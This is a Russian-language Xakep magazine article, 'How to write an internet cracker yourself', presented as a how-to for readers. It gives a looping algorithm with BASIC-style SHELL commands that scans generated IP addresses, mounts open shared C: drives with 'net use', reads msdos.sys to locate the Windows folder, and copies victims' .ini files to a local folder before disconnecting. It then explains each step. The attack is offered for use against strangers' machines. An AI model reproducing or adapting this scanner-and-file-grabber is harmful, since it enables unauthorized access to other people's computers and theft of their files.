Как самому написать интернет-крякер
Xakep, номер #045, стр. 045-032-3 1) Генерация адресов в файл "IP.DAT". 2) Взять адрес и записать его в переменную IP$. 3) Сгенерировать командную строку по следующей формуле: CmdStr1$ = "net use " + Disk$ + ": \\" + IP$ + "\C > control". 4) Выполнить команду SHELL CmdStr1$. 5) Открыть файл "control" и считать оттуда строку в переменную Tstring. 6) Если TString содержит "Команда выполнена успешно.", то переходим на пункт 7. Если нет, то идем на пункт 2. 7) Присваиваем переменной CmdStr1$ выражение Disk + ":\msdos.sys" и делаем открытие файла, указывая переменную CmdStr1$ как путь, например: OPEN CmdStr1$ FOR INPUT AS #1. 7) Ищем в открытом файле комбинацию символов "WinDir" и в найденной строке, с отступом в 9 символов от начала, считываем ее значение. Прибавляем в начало получившейся строчки выражение Disk + ":". Теперь присвоим получившееся выражение переменной. Назовем ее LohDir$. 8) Создаем на диске C: папку, к примеру, "LOH". Теперь выполняем следующую команду: SHELL "copy " + LohDir$ + "\*.ini " + "C:\LOH\". 9) Теперь выполняем следующую команду: SHELL "net use " + Disk + ": " + "/DELETE /YES" 10) Переходим на пункт 2. Теперь я разжую тебе каждую строчку нашего алгоритма. Думаю, с первым и вторым пунктам ты разберешься самостоятельно, а вот в третьем есть команда, которая, к сожалению, некоторым неизвестна. Вот наша строчка: CmdStr1$ = "net use " + Disk$ + ": \\" + IP$ + "\C > control". Начнем с команды "net use". Это ДОСовская команда, которая отвечает за подключение и отключение расшаренных дисков на удаленной машине. Формат ее такой - "NET USE СВОБОДНЫЙ_ДИСК: \\IP_АДРЕС_УДАЛЕННОЙ_МАШИНЫ\ДИСК_УДАЛЕННОЙ_МАШИНЫ". Как ты, наверное, уже заметил, в строке есть переменная Disk. Наш алгоритм подразумевал, что в этой переменной будет содержаться имя диска, которого нет на твоем компьютере. В следующем пункте мы передаем сгенерированную строчку на выполнение в ДОС. Тот бережно выполняет заданную команду и все, что попытается выдать на экран программа NET.EXE, записывает в файл "control". Зачем? Да затем, чтобы потом определить, выполнилась ли успешно наша команда или нет. В седьмом пункте мы определяем путь папки Виндовса, так как некоторые деятели имеют свойство переименовывать папку до неузнаваемости. В восьмой строчке мы просто копируем нужный нам файл или файлы по маске на свой винт в указанную папку. Девятая строчка - заключительная. Мы отрубаем от своего компа подключенный диск юзверя. Делаем мы это той же командой "NET USE", передавая ей в качестве параметра имя отключаемого диска и, соответственно, команду самого отключения, то есть "/DELETE /YES". Все. Теперь мы можем со спокойной душой перейти в начало нашего алгоритма. |